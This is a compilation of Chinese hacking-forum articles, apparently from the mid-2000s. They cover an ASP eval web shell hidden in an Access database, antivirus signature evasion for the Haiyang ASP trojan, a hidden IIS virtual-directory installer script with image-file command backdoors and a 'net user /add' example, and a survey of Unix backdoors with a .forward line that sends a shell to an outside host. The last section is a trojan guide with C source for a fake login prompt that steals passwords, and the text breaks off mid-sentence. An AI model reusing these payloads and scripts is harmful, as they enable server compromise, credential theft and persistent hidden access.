我曾经尝试把海阳顶网2004.asp代码写入数据库，但是没有成功过，毕竟代码太复杂了。也许你觉得我写的这段asp代码太简略，功能也简单，你可以尝试一下冰狐浪子的asp代码。下载地址是：http://www.xfocus.net/tools/200404/icyfox007v1.10.rar。不过要注意的是，写入的asp代码只写<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('#')+'')</SCRIPT>这一句即可。当然，我的方法也不能保证百分百成功，但成功率是很高的。这样把asp代码插入在网站的acess数据库中，是多么巧妙可怕而不能被查杀的asp后门呀。
lcx又一经典文章
http://www.haiyang.net/safety/topic.asp?id=410
远程下载：http://freett.com/haiyang/hehe.rar
压缩包里有直接写入access的asp代码


制作免杀的ASP网页木马

（垃圾文章，本来想投给杂志的，后来想想算了，怕被人骂。转载请注明出处：vxer.cn，谢谢！ ^_^）
2005年是免杀技术突飞猛进的一年，越来越多的人熟悉了简单的PE文件免杀操作。而杀毒软件也是在查杀方面下足了功夫，使得修改文件变得越来越困难。但是，无论定位和修改多么麻烦，只要杀软利用的是特征码扫描，PE文件就可以通过相对简单的特征码修改达到免杀。而CCL一直没有涉足的方面是脚本免杀，坛里也有朋友让我改进一下，因此最近给CCL加上了定位脚本特征码的功能，并对一款asp木马进行了测试，结果怎么样呢？
这里我选择了海阳顶端网ASP木马2006版。由于并不知道杀软是怎样定义脚本文件的特征码，所以我的操作与定位PE文件相同。杀软仍用大名鼎鼎Kaspersky。先查一下吧，卡巴报警发现Backdoor.ASP.Ace.aw。注意末尾的aw，这是杀软对同一个文件不同版本的特征码定义，有时我们需要运用定位过程中版本号的变化来确定特征码的位置。
首先假设将特征码定位器CCL设置成手动定位，生成文件200个，打开海洋的木马主文件2006.asp。这时弹出了定位范围选择窗口，由于脚本文件不是PE文件，因此没有分段，整个文件就是一个整体。如图1所示，段名为整个文件，段大小就是整个文件的大小。

直接点确定，对整个文件进行定位。生成文件完毕后对目标进行查杀，结果，只剩下一个文件没有被杀，OUT_00000000_000001C3，这说明当从偏移0开始1C3个字节的数据被填0时，该文件免杀。我们看一下这里是什么。

代码:
<object runat="server" id="ws" scope="page" classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
<object runat="server" id="ws" scope="page" classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
<object runat="server" id="fso" scope="page" classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
<object runat="server" id="sa" scope="page" classid="clsid:13709620-C279-11CE-A49E-444553540000"></object>

脚本文件我不太熟，但总比改汇编指令简单，试着修改一下吧，原则还是不能破坏原文件功能。我们知道，asp中代码是在<% %>之间的，于是我们在每一个<object></object>前插入一个<% %>，就像汇编插入nop空指令一样。保存修改，再用卡巴查一下。还是报警，但是这次显示的是Backdoor.ASP.Ace.w。这就说明：我们刚才修改是特征码中的一处，但不是全部，也就是说我们把aw中的a代表的特征码改掉了，但是w仍然在。
我们再用CCL打开修改过的2006.asp，设置保持不变，再重复上述步骤。经过查杀后，200个文件剩下了6个。看一下结果
-------------定位结果------------
序号 起始偏移 大小 结束偏移
0001 00000000 000001C3 000001C3
0002 000140A2 000008CF 00014971

第1段仍是在文件头部。我分析是卡巴在对脚本文件检测前会分析文件的完整性，而1号结果正好将“<%”给替换掉，这样的脚本代码是没法运行的，因此卡巴就不认为它有毒。（卡巴对PE操作也存在同样问题，这也是很多人用CCL定位卡巴总是遇到结果定位在PE文件头部的原因。）我们看2段处是什么，该段结果范围较大，我们找有“特色”的改。最终目标定在如下语句：
代码:

chkErr(Err)
echo("<script language=""java script"">alert('文件上传成功!\n" & Replace(fileName, "\", "\") & "');</script>")
streamT.Close
.Close

我们将“文件上传成功”改为“上传成功”，保存后再检测。OK，免杀成功了。运行一下试试，海洋的各项功能正常。当然，文件上传成功后的提示已经变了。如图2。

总结一下：卡巴对恶意脚本的定义仍是沿用特征码的方式，且明显没有PE文件的特征码定义那样复杂。希望杀软早日在检测方式上产生根本性的改变！


脚本图片类后门的完美使用方法实现

文章作者：我非我
前两天，我在Bugkidz的论坛上贴了一篇《脚本注入图片新方法》的文章，相信很多人都通过这篇文章了解了如何在图片中加入脚本，以及如何在正常的asp（或php）文件中通过include函数使图片中的脚本产生效用。但是，这种方法的问题又随之而来了：有人问道：通常脚本网页文件中如果想要插入一个图片，简简单单的一个html标签就解决了，如果我们用include代替的话，是否太过明显？虽然这种语句放在大型页面中手工查找有点麻烦，但如果是杀毒软件用特征码查找，看到include的是以.gif.jpg等扩展名结尾的语句，相信肯定会报警。而我们若不用类似于include之类的函数的话，图片中的asp（或php）语句又怎会执行呢？难道要打电话叫网管帮忙吗？嘿嘿……
所以问题就集中在用什么方法可以替代include函数的作用上了，因为注入图片的脚本可以变，所以可以不怕杀，怕就怕那句该死的include。
有什么方法呢？我曾经想过我们在入侵成功后可以在IIS中添加应用程序映射，把.gif等图片的扩展名用asp.dll（或php.exe）解析，并把这虚拟目录的应用程序保护改为低，这样我们的后门就会有System权限了。当我们注入图片的脚本的作用是执行cmd命令的，我们就可以通过本地表单POST我们要执行的命令给图片，当然也可以是GET：
http://www.xxx.com/1.gif?cmd=dir
这种方法当然是好，可以突破include执行脚本了。但仍有不足，而且是明显的：这种方式虽然杀毒软件是查不出了，但是仍可明显看出：管理员只要查看一下应用程序映射，那么我们所有的工作都白费了。
想到这里，我突然想到了IIS的那个著名漏洞（涉及IIS5.0及IIS5.1），我们可以在任意一个站点下建立一个不可见的虚拟目录（指的是intenet服务管理器中不可见，但利用adsutil.vbs依然可见），而且由于IIS的特性，虚拟目录的应用程序映射及应用程序保护是与IIS的默认站点分开设置的。由于虚拟目录不可见，他所有的属性当然也就不可见了。所以我们可以安全的设置此目录的属性，而不用怕管理员发现。
当我们把这个虚拟目录指向服务器上另一个装满图片的物理目录（至于那找这种目录？我找到个好地方：Windowz默认的墙纸目录，我的xp上是%SystemRoot%\Web\Wallpaper\目录）时……呵呵，大家想到什么了没？一旦我们修改其中两个图片，注入我们的脚本后门，然后把此目录的图片映射到asp.dll（或php.exe）上，应用程序保护改为低，就可以通过我上面讲的方法进行访问执行命令了。而且是System权限哦！呵呵，是不是很爽？管理员怎么也不会想到自己的图片却会是致命的后门！（其实这种方法动鲨曾在x档案上发文章说过，但他的方法有一个缺陷：在非web目录中有asp（或php）文件，一旦发现，的确让人怀疑。而我们利用的是图片，相信管理员看到图片不会情绪过激的非要撕开了看个明白才罢休吧？呵呵……）
那么如何建立这个虚拟目录呢？我们可以在图形界面也可以利用自编脚本或是直接用IIS自带的adsutil.vbs操作。在此之前我先简单说明一下这个IIS漏洞的原因：我们知道IIS的配置文件是MetaBase.bin。这个文件位于%SystemRoot%\system32\inetsrv\MetaBase.bin，包含了几乎所有IIS的配置信息，是非常重要的系统文件。简单的说，我们在“intenet服务管理器”中所作的一切设置最终都会被保存在MetaBase.bin中。在日常的系统管理中除了通过“intenet服务管理器”来对MetaBase.bin进行操作外，Windows还提供了一个脚本adsutil.vbs可以对MetaBase.bin进行操作。
MetaBase的结构类似于注册表，也是树形结构，有类似键、值、项的概念。事实上在IIS3和PWS中，MetaBase的内容就是存储在注册表中的。MetaBase有两个主键：LM和Schema。其中，Schema保存了系统默认的一些配置，通常不需要修改，一旦改错也非常危险，所以无论是“intenet服务管理器”还是adsutil.vbs都没有提供修改Schema的机制。LM中包含了IIS的HTTP服务，FTP服务，SMTP服务等的配置信息。其中，LM/W3SVC/下是我们要用到的HTTP服务的配置信息。
其中有一个值：ScriptMaps，代表脚本映射。当我们在某个虚拟目录下设定ScriptMaps值后，则向该目录请求的特定扩展名的文件都会交给指定的ISAPI执行。需要强调的是，设定ScriptMaps的目录并不一定要真实存在的，只要在MetaBase中某个HTTP实例的root键下建了一个子键，对该字键同名的虚拟目录的HTTP请求IIS会认为是合法的，并会交由映射的ISAPI处理。
这样说可能谁都晕了（包括我），其实简单的作个类比：MetaBase的就够类似于注册表，我们知道，我们在安装有些程序的时候，安装程序会在注册表中建立一些必要的值，可我们一旦非正规把它安装的文件删除了时（比如有些朋友删游戏时就是直接往回收站一拉了事），注册表中的那些项就会被留下，没有用处，而造成注册表垃圾。MetaBase中也是那么回事，我们正常建立一个虚拟目录时，MetaBase中就会建立一些项。而当我们通过非正常手段删除了此虚拟目录时，那些项就会留下，与注册表不同的是，那些项还会起作用，只要我们用http请求了那个虚拟目录，IIS就会依旧按照MetaBase中的原来的虚拟目录设置顺利返回。所以即使目录不存在，只要他曾经存在过，那么就成立。呵呵，听懂了没？（PS：还没懂）晕，那就只好请您看动鲨的那篇文章了，他说得可比我清楚。
至于如何添加不可见的虚拟目录，动鲨的那篇文章说得很清楚了，我这里就不废话了，下面提供动鲨的添加不可见虚拟目录的脚本，保存为iis.vbs：
help1="IIS后门设置器 FOR WIN2000 BY 动鲨 5月30号2004 年"
help2="请输入正确的虚拟目录名称和映射的路径,格式如下"
help3=" cscript.exe iis.vbs 虚拟目录的名称 映射的路径"
help4="例如: cscript.exe iis.vbs backdoor c:\"
set Args = Wscript.Arguments
if args.count < 2 then
wscript.echo help1
wscript.echo ""
wscript.echo help2
wscript.echo ""
wscript.echo help3
wscript.echo ""
wscript.echo help4
wscript.quit
end if
strVRName=args(0) ''虚拟目录名称
strRootPath=args(1) ''虚拟目录路径
Set checkVirtualDir=GetObject("IIS://LocalHost/W3SVC/1/Root")
For each VR in checkVirtualDir
if VR.Name="lhxy" Then
foundt ="yes"
else
foundt= "no"
End If
Next
if foundt ="yes" then
wscript.echo "发现已经创建了lhxy目录，正在设置自定义的虚拟目录"
creatvdir
else
wscript.echo "正在创建lhxy目录，以及自定义文件夹，请等待！"
creatlhxy
creatvdir
end if
wscript.echo "你创建的虚拟目录名称是"& strVRName
        &"，映射的文件夹是 " & strRootPath &"。"
wscript.echo
        "请访问[url]http://IP/lhxy/[/url]"& strVRName &"/
        来连接后门!"
wscript.echo "恭喜!后门设置全部完成!"
sub
        creatlhxy()
Set
        objDir=GetObject("IIS://LocalHost/W3SVC/1/Root")
Set
        myDir=objDir.Create("IISWebVirtualDir","lhxy")
myDir.AccessRead=true
myDir.DefaultDoc=mydir.DefaultDoc
myDir.AppIsolated=0
myDir.AccessExecute=true
myDir.DontLog=true
myDir.AccessSource=true
myDir.EnableDirBrowsing=true
myDir.setinfo
end sub
sub creatvdir()
Set
        objVirtualDir=GetObject("IIS://LocalHost/W3SVC/1/Root/lhxy")
Set
        VirDir=objVirtualDir.Create("IISWebVirtualDir",strVRName)
VirDir.AccessRead=true
VirDir.Path=strRootPath
VirDir.DefaultDoc=""
VirDir.AccessExecute=true
VirDir.AccessWrite=true
VirDir.AccessSource=true
VirDir.AppIsolated=0
VirDir.DontLog=true
VirDir.EnableDirBrowsing=true
VirDir.appcreate 0
VidDir.CreateProcessAsUser=0
VirDir.setInfo
end sub
wscript.quit

我记得Bugkidz好像也曾经贴出过类似的脚本。呵呵，没仔细看，大家不要打我，自己找吧，或是找Boy要，呵呵。
下面是通过adsutil.vbs把asp.dll添加到InProcessIsapiApps数组中的命令，使得所有asp脚本都会以System权限执行。
cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\System32\idq.dll" "C:\WINNT\System32\inetsrv\httpext.dll" "C:\WINNT\System32\inetsrv\httpodbc.dll" "C:\WINNT\System32\inetsrv\ssinc.dll" "C:\WINNT\System32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll"

不过需要注意，adsutil.vbs只能设，不能改，所以用adsutil.vbs的时候一定要把原先的也加上，否则原先的就会丢失。不同条目之间用空格分开。
然后把你的虚拟目录加上应用程序映射：

cscript adsutil.vbs set w3svc/1/root/lhxy/wofeiwo/ScriptMaps "gif,C:\winnt\system32\inetsrv\asp.dll,1"
我这里的虚拟目录是lhxy/wofeiwo，图片扩展名是.gif大家可以根据自己实际情况更改。
好了，我们看看效果吧：

http://www.xxx.com/lhxy/wofeiwo/1.gif?cmd=net user wofeiwo w1o2f3e4i5w6o /add
如何，成功了否？呵呵……
嘻嘻，我们的图片后门成功了，如果再配合Rootkit，那么肉鸡是想逃也没门了，哈哈……（周星星式的狂笑）


后门制作及安装技术
文章作者：翻译 iamtheguest
后门
声明:此文为翻译文章,QiangGe只做了一些修改,并加入了一些自己的心得及自己所写的程序.
译者 iamtheguest
从早期的计算机入侵者开始,他们就努力发展能使自己重返被入侵系统的技术或后门.本文将讨论许多常见的后门及其检测方法. 更多的焦点放在Unix系统的后门,同时讨论一些未来将会出现的Windows NT的后门. 本文将描述如何测定入侵者使用的方法这样的复杂内容和管理员如何防止入侵者重返的基础知识. 当管理员懂的一旦入侵者入侵后要制止他们是何等之难以后, 将更主动于预防第一次入侵. 本文试图涉及大量流行的初级和高级入侵者制作后门的手法, 但不会也不可能覆盖到所有可能的方法.

大多数入侵者的后门实现以下二到三个目的:
即使管理员通过改变所有密码类似的方法来提高安全性,仍然能再次侵入. 使再次侵入被发现的可能性减至最低.大多数后门设法躲过日志, 大多数情况下即使入侵者正在使用系统也无法显示他已在线. 一些情况下, 如果入侵者认为管理员可能会检测到已经安装的后门, 他们以系统的 脆弱性作为唯一的后门, 重而反复攻破机器. 这也不会引起管理员的注意. 所以在 这样的情况下，一台机器的脆弱性是它唯一未被注意的后门.

密码破解后门
这是入侵者使用的最早也是最老的方法, 它不仅可以获得对Unix机器的访问, 而且可以通过破解密码制造后门. 这就是破解口令薄弱的帐号. 以后即使管理员封了入侵者的当前帐号,这些新的帐号仍然可能是重新侵入的后门. 多数情况下, 入侵者寻找口令薄弱的未使用帐号,然后将口令改的难些. 当管理员寻找口令薄弱的帐号是, 也不会发现这些密码已修改的帐号.因而管理员很难确定查封哪个帐号.
Rhosts + + 后门
在连网的Unix机器中,象Rsh和Rlogin这样的服务是基于rhosts文件里的主机名使用简单的认证方法. 用户可以轻易的改变设置而不需口令就能进入. 入侵者只要向可以访问的某用户的rhosts文件中输入"+ +", 就可以允许任何人从任何地方无须口令便能进入这个帐号. 特别当home目录通过NFS向外共享时, 入侵者更热中于此. 这些帐号也成了入侵者再次侵入的后门. 许多人更喜欢使用Rsh, 因为它通常缺少日志能力. 许多管理员经常检查 "+ +", 所以入侵者实际上多设置来自网上的另一个帐号的主机名和用户名,从而不易被发现.

校验和及时间戳后门
早期,许多入侵者用自己的trojan程序替代二进制文件. 系统管理员便依靠时间戳和系统校验和的程序辨别一个二进制文件是否已被改变, 如Unix里的sum程序. 入侵者又发展了使trojan文件和原文件时间戳同步的新技术. 它是这样实现的: 先将系统时钟拨回到原文件时间, 然后调整trojan文件的时间为系统时间. 一旦二进制trojan文件与原来的精确同步, 就可以把系统时间设回当前时间. sum程序是基于CRC校验, 很容易骗过.入侵者设计出了可以将trojan的校验和调整到原文件的校验和的程序. MD5是被大多数人推荐的,MD5使用的算法目前还没人能骗过.

Login后门

在Unix里,login程序通常用来对telnet来的用户进行口令验证. 入侵者获取login.c的原代码并修改,使它在比较输入口令与存储口令时先检查后门口令. 如果用户敲入后门口令,它将忽视管理员设置的口令让你长驱直入. 这将允许入侵者进入任何帐号,甚至是root.由于后门口令是在用户真实登录并被日志记录到utmp和wtmp前产生一个访问的, 所以入侵者可以登录获取shell却不会暴露该帐号. 管理员注意到这种后门后, 便用"strings"命令搜索login程序以寻找文本信息. 许多情况下后门口令会原形毕露. 入侵者就开始加密或者更好的隐藏口令, 使strings命令失效. 所以更多的管理员是用MD5校验和检测这种后门的.
Telnetd后门
当用户telnet到系统, 监听端口的inetd服务接受连接随后递给in.telnetd,由它运行login.一些入侵者知道管理员会检查login是否被修改, 就着手修改in.telnetd. 在in.telnetd内部有一些对用户信息的检验, 比如用户使用了何种终端. 典型的终端设置是Xterm或者VT100.入侵者可以做这样的后门, 当终端设置为"letmein"时产生一个不要任何验证的shell. 入侵者已对某些服务作了后门, 对来自特定源端口的连接产生一个shell .

服务后门
几乎所有网络服务曾被入侵者作过后门. finger, rsh, rexec, rlogin, ftp, 甚至inetd等等的作了的版本随处多是. 有的只是连接到某个TCP端口的shell,通过后门口令就能获取访问.这些程序有时用刺娲□？ucp这样不用的服务,或者被加入inetd.conf作为一个新的服务.管理员应该非常注意那些服务正在运行, 并用MD5对原服务程序做校验.
Cronjob后门
Unix上的Cronjob可以按时间表调度特定程序的运行. 入侵者可以加入后门shell程序使它在1AM到2AM之间运行,那么每晚有一个小时可以获得访问. 也可以查看cronjob中经常运行的合法程序,同时置入后门.
库后门
几乎所有的UNIX系统使用共享库. 共享库用于相同函数的重用而减少代码长度. 一些入侵者在象crypt.c和_crypt.c这些函数里作了后门. 象login.c这样的程序调用了crypt(),当使用后门口令时产生一个shell. 因此, 即使管理员用MD5检查login程序,仍然能产生一个后门函数.而且许多管理员并不会检查库是否被做了后门.对于许多入侵者来说有一个问题: 一些管理员对所有东西多作了MD5校验. 有一种
办法是入侵者对open()和文件访问函数做后门. 后门函数读原文件但执行trojan后门程序. 所以 当MD5读这些文件时,校验和一切正常. 但当系统运行时将执行trojan版本的. 即使trojan库本身也可躲过
MD5校验. 对于管理员来说有一种方法可以找到后门, 就是静态编连MD5校验程序然后运行.
静态连接程序不会使用trojan共享库.

内核后门
内核是Unix工作的核心. 用于库躲过MD5校验的方法同样适用于内核级别,甚至连静态连接多不能识别. 一个后门作的很好的内核是最难被管理员查找的, 所幸的是内核的后门程序还不是随手可得, 每人知道它事实上传播有多广.
文件系统后门
入侵者需要在服务器上存储他们的掠夺品或数据,并不能被管理员发现. 入侵者的文章常是包括exploit脚本工具,后门集,sniffer日志,email的备分,原代码,等等. 有时为了防止管理员发现这么大的文件, 入侵者需要修补"ls","du","fsck"以隐匿特定的目录和文件.在很低的级别, 入侵者做这样的漏洞: 以专有的格式在硬盘上割出一部分, 且表示为坏的扇区. 因此入侵者只能用特别的工具访问这些隐藏的文件. 对于普通的管理员来说, 很难发现这些"坏扇区"里的文件系统, 而它又确实存在.

Boot块后门
在PC世界里,许多病毒藏匿与根区, 而杀病毒软件就是检查根区是否被改变. Unix下,多数管理员没有检查根区的软件, 所以一些入侵者将一些后门留在根区.
隐匿进程后门
入侵者通常想隐匿他们运行的程序. 这样的程序一般是口令破解程序和监听程序(sniffer).有许多办法可以实现,这里是较通用的: 编写程序时修改自己的argv[]使它看起来象其他进程名. 可以将sniffer程序改名类似in.syslog再执行. 因此当管理员用"ps"检查运行进程时, 出现 的是标准服务名. 可以修改库函数致使"ps"不能显示所有进程. 可以将一个后门或程序嵌入中断驱动程序使它不会在进程表显现. 使用这个技术的一个后门
例子是amod.tar.gz :
http://star.niimm.spb.su/~maillist/bugtraq.1/0777.html
也可以修改内核隐匿进程.
Rootkit
最流行的后门安装包之一是rootkit. 它很容易用web搜索器找到.从Rootkit的README里,可以找到一些典型的文件:
z2 - removes entries from utmp, wtmp, and lastlog.
Es - rokstar's ethernet sniffer for sun4 based kernels.
Fix - try to fake checksums, install with same dates/perms/u/g.
Sl - become root via a magic password sent to login.
Ic - modified ifconfig to remove PROMISC flag from output.
ps: - hides the processes.
Ns - modified netstat to hide connections to certain machines.
Ls - hides certain directories and files from being listed.
du5 - hides how much space is being used on your hard drive.
ls5 - hides certain files and directories from being listed.
网络通行后门
入侵者不仅想隐匿在系统里的痕迹, 而且也要隐匿他们的网络通行. 这些网络通行后门有时允许入侵者通过防火墙进行访问. 有许多网络后门程序允许入侵者建立某个端口号并不用通过普通服务就能实现访问. 因为这是通过非标准网络端口的通行, 管理员可能忽视入侵者的足迹. 这种后门通常使用TCP,UDP和ICMP, 但也可能是其他类型报文.

TCP Shell 后门
入侵者可能在防火墙没有阻塞的高位TCP端口建立这些TCP Shell后门. 许多情况下,他们用口令进行保护以免管理员连接上后立即看到是shell访问. 管理员可以用netstat命令查看当前的连接状态, 那些端口在侦听, 目前连接的来龙去脉. 通常这些后门可以让入侵者躲过TCP Wrapper技术. 这些后门可以放在SMTP端口, 许多防火墙允许e-mail通行的.
UDP Shell 后门
管理员经常注意TCP连接并观察其怪异情况, 而UDP Shell后门没有这样的连接, 所以netstat不能显示入侵者的访问痕迹. 许多防火墙设置成允许类似DNS的UDP报文的通行. 通常入侵者将UDP Shell放置在这个端口, 允许穿越防火墙.

ICMP Shell 后门
Ping是通过发送和接受ICMP包检测机器活动状态的通用办法之一. 许多防火墙允许外界ping它内部的机器. 入侵者可以放数据入Ping的ICMP包, 在ping的机器间形成一个shell通道. 管理员也许会注意到Ping包暴风, 但除了他查看包内数据, 否者入侵者不会暴露.
加密连接
管理员可能建立一个sniffer试图某个访问的数据, 但当入侵者给网络通行后门加密后,就不可能被判定两台机器间的传输内容了.

Windows NT
由于Windows NT不能轻易的允许多个用户象Unix下访问一台机器, 对入侵者来说就很难闯入Windows NT,安装后门,并从那里发起攻击. 因此你将更频繁地看到广泛的来自Unix的网络攻击. 当Windows NT提高多用户技术后, 入侵者将更频繁地利用WindowsNT.如果这一天真的到来, 许多Unix的后门技术将移植到Windows NT上, 管理员可以等候入侵者的到来. 今天, Windows NT已经有了telnet守护程序. 通过网络通行后门, 入侵者发现在Windows NT安装它们是可行的. ( With Network Traffic backdoors, theyarevery feasible for intruders to install on Windows NT. 此处该如何翻译? :(
解决
当后门技术越先进, 管理员越难于判断入侵者是否侵入后者他们是否被成功封杀.
评估
首先要做的是积极准确的估计你的网络的脆弱性, 从而判定漏洞的存在且修复之.许多商业工具用来帮助扫描和查核网络及系统的漏洞. 如果仅仅安装提供商的安全补丁的话,许多公司将大大提高安全性.

MD5基准线
一个系统(安全)扫描的一个重要因素是MD5校验和基准线. MD5基准线是在黑客入侵前由干净
系统建立. 一旦黑客入侵并建立了后门再建立基准线, 那么后门也被合并进去了.一些公司被入侵且系统被安置后门长达几个月.所有的系统备份多包含了后门. 当公司发现有黑客并求助备份祛除后门时, 一切努力是徒劳的, 因为他们恢复系统的同时也恢复了后门. 应该在入侵发生前作好基准线的建立.
入侵检测
随着各种组织的上网和允许对自己某些机器的连接,入侵检测正变的越来越重要.以前多数入侵检测技术是基于日志型的. 最新的入侵检测系统技术(IDS)是基于实时侦听和网络通行安全分析的. 最新的IDS技术可以浏览DNS的UDP报文, 并判断是否符合DNS协议请求. 如果数据不符合协议, 就发出警告信号并抓取数据进行进一步分析. 同样的原则可以运用到ICMP包, 检查数据是否符合协议要求, 或者是否装载加密shell会话.
从CD-ROM启动
一些管理员考虑从CD-ROM启动从而消除了入侵者在CD-ROM上做后门的可能性.这种方法的问题是实现的费用和时间够企业面临的.
警告
由于安全领域变化之快, 每天有新的漏洞被公布, 而入侵者正不断设计新的攻击和安置后门技术, 安枕无忧的安全技术是没有的.请记住没有简单的防御,只有不懈的努力!
( Be aware that no defense is foolproof, and that there is no substitute
for
diligent attention. 此句该如何翻译? :( )
-------------------------------------------------------------------------

you may want to add:
.forward Backdoor
On Unix machines, placing commands into the .forward file was also
a common method of regaining access. For the account ``username''
a .forward file might be constructed as follows:
username
|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e
/bin/sh"
permutations of this method include alteration of the systems mail
aliases file (most commonly located at /etc/aliases). Note that
this is a simple permutation, the more advanced can run a simple
script from the forward file that can take arbitrary commands via
stdin (after minor preprocessing).
PS: The above method is also useful gaining access a companies
mailhub (assuming there is a shared a home directory FS on
the client and server).
> Using smrsh can effectively negate this backdoor (although it's quite
> possibly still a problem if you allow things like elm's filter or
> procmail which can run programs themselves...).
你也许要增加:
.forward后门
Unix下在.forward文件里放入命令是重新获得访问的常用方法. 帐户'username'
的
.forward可能设置如下:
username
|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e
/bin/sh"

这种方法的变形包括改变系统的mail的别名文件(通常位于/etc/aliases). 注意这只是一种简单的变换. 更为高级的能够从.forward中运行简单脚本实现在标准输入执行任意命令(小部分预处理后).
>利用smrsh可以有效的制止这种后门(虽然如果允许可以自运行的elm's filter或procmail>类程序, 很有可能还有问题 ......)
( 此段的内容理解不深, 故付上英文, 请指教! )
---------------------------------------------------------------------------

你也许能用这个"特性"做后门:
当在/etc/password里指定一个错误的uid/gid后, 大多数login(1)的实现是不能检查出这个错误
的uid/gid, 而atoi(3)将设uid/gid为0, 便给了超级用户的权利.
例子:
rmartin:x:x50:50:R. Martin:/home/rmartin:/bin/tcsh
在Linux里,这将把用户rmartin的uid设为0.
Hack技巧－使用Trogan Horses
------------------
UNIX 的特洛伊木马
------------------
Martin 翻译
序言
----------
"UNIX 安全" 是一种矛盾修饰法.它是一种能被暴力攻击法轻易攻破
的系统.(大多数UNIX系统不会因为多次错误的登录而挂起,而且它还有许多缺省的登录名如
root,bin,sys,uccp等.)一旦你登录到系统,你就能轻易降服它,如果你会一点C语言,你就能
让系统为你工作,并能完全避开系统的安全障碍建立你自己的登录,阅读任何人的文档,等.
本文将提供一些这方面的C的源码以供大家实践.
配置要求
--------------
你需要一个UNIX系统的有效帐号.为获得最好效果,最好使用工作在真正机子(一台PDP/11,
VAX,Pyramid,等)上的完全的UNIX版本(如 4.2bsd or AT&T System V).如果你能在学校的
系统中获得一个帐号那是再好不过了.
注意
----------
本文受到86年4月的 issue of BYTE 中的一篇名叫"Making UNIX Secure."文
章的启发而写的.在那篇文章中作者称"我们希望所提供的资料是有趣的但又不会成为'破
坏者的菜谱'.我们常有意删除一些细节" 我根据此文的总体纲要,给出了基于他们所提到
的方法的例子.
步骤一:获得口令
----------------------
你所需要的技巧仅仅是一些最基本的UNIX及C语言的常识.不过,你得有能使用的终端
如学校里计算中心里的.
当你向一个典型的UNIX系统登录时,你能看到如下这些:
Tiburon Systems 4.2bsd / System V (shark)
login: shark
Password: (并不显示)
我提供的程序能模拟一个登录过程.你在终端上运行这程序,然后离开.那些不知情的
家伙如果来登录,他们的登录信息就会被保存成文档,并且屏幕上会显示"login incorrect"
那些家伙会被要求再登录一次.第二次是真正的登录,这时候他们都成功了.显然那些家伙并不聪明.
在系统上将下列源码生成文件'horse.c'. 因为系统有不同的版本,你可能需要修改前8行.
----- Code Begins Here -----
/* this is what a 'C' comment looks like. You can leave them out. */
/* #define's are like macros you can use for configuration. */
#define SYSTEM " Tiburon Systems 4.2bsd UNIX (shark) "
/* The above string should be made to look like the message that your
* system prints when ready. Each represents a carriage return.
*/
#define LOGIN "login: "
/* The above
        is the login prompt. You shouldn't have to change it
* unless you're running some strange version of UNIX.
*/
#define PASSWORD "password:"
/* The
        above is the password prompt. You shouldn't have to change
* it, either.
*/
#define WAIT 2
/* The numerical value
        assigned to WAIT is the delay you get after
* "password:" and before "login incorrect." Change it (0 = almost
* no delay, 5 = LONG delay) so it looks like your system's delay.
* realism is the key here - we don't want our target to become
* suspicious.
*/
#define INCORRECT "Login incorrect. "
/* Change the above so it is what your system says when an incorrect
* login is given. You shouldn't have to change it.
*/
#define FILENAME "stuff"
/* FILENAME
        is the name of the file that the hacked passwords will
* be put into automatically. 'stuff' is a perfectly good name.
*/
/* Don't change the rest of the program unless there is a need to
* and you know 'C'.
*/
#include <curses.h>
#include <signal.h>
int stop();
main()
{char name[10], password[10];
int i;
FILE *fp, *fopen();
signal(SIGINT,stop);
initscr();
printf(SYSTEM);
printf(LOGIN);
scanf("%[^ ]",name);
getchar();
noecho();
printf(PASSWORD);
scanf("%[^ ]",password);
printf(" ");
getchar();
echo();
sleep(WAIT);
if ( ( fp = fopen(FILENAME,"a")
        ) != NULL ) {
#fprintf(fp,"login %s has password %s ",name,password);
#fclose(fp);
#}
printf(INCORRECT);
endwin();
}
stop()
{
endwin();
exit(0);
}
----- Source Ends Here -----
好了,完成上述工作并调试,使得它看上去就象你的系统的登录过程.用下列两行来
编译'horse.c': (不要打' %'s, 那是一种提示符)
% cc horse.c -lcurses -ltermcap
% mv a.out horse
现在你有了这个能工作的horse程序. 运行一下,如果它看上去不象系统的登录过程,你得
重新编辑horse.c并重新编译.当你准备好运行该程序时,你应先建立一个新文件如'trap'或其它
名字. 'trap' 应包含下列两行命令:
horse (这条运行你的程序)
login (这条运行真正的登录程序)
执行 'trap' 输入:
% source trap (不要打 %)
然后你就可以离开终端,等待...
等你运行这程序几次后,检查一下文档'stuff'(或其他你所指定的文档).它看上去是这样:
user john has password secret
user mary has password smegmaetc.
记录口令,并删除该文档(如果系统管理员看到,那就大事不妙).
注意 - 为取得最好效果,终端应设置成无用户暂停模式--这样一来你的horse程序才不会
空转在连续几小时无人使用的终端上.
-----
下一个步骤是如何运作在远程系统上,如你以侵入的Michigan的VAX,或Dartmouth的UNIX系统
或其他的系统. 不过这需要一些'C'语言的知识.那些并不适合UNIX的初学者.
步骤二:阅读任何人的文档
-----------------------------
当你运行程序,这其实是一个建立运作并让那程序干它所能干的事,如删除你指定目录下的
文档或建立一个有效的能让任何人阅读的文档.
当人们在UNIX系统上保存以阅读的邮件,邮件以文档的形式被保存在他们的主目录下的 mbox
这些文档通常阅读起来很有意思,但通常只是文档的所有者能阅读并非所有人都有这权利.这里有
一个小程序能解开(也就是说 chmod 777, 或让系统上的任何人都能读,写,执行)那个运行此程序
的人的 mbox 中的文档:
----- Code Begins Here -----
#include <pwd.h>
struct passwd *getpwnam(name);
struct passwd *p;
char buf[255];
main()
{
p = getpwnam(getlogin());
sprintf(buf,"%s/%s",p->pw_dir,"mbox");
if ( access(buf,0) > -1 ) {
sprintf(buf,"chmod 777 %s/%s",p->pw_dir,"mbox");
system(buf);
}
}
----- Code Ends Here -----
问题在于如何让我的目标运行在我的目录下的这个程序?
如果你所在的系统有public-messages (在4.xbsd的系统上, 输入'msgs')你就能在
那儿发表你的程序.将上述代码写入另一个程序中,找一个有用的或一个游戏程序(通常能
在 UNIX WORLD 一类杂志中找到),修该它们,使它们能先完成上述任务然后再完成本来任务.
如果你有一个叫tic-tac-toe的程序并且你已经修改了它,让它来解开用户的mbox中的文档
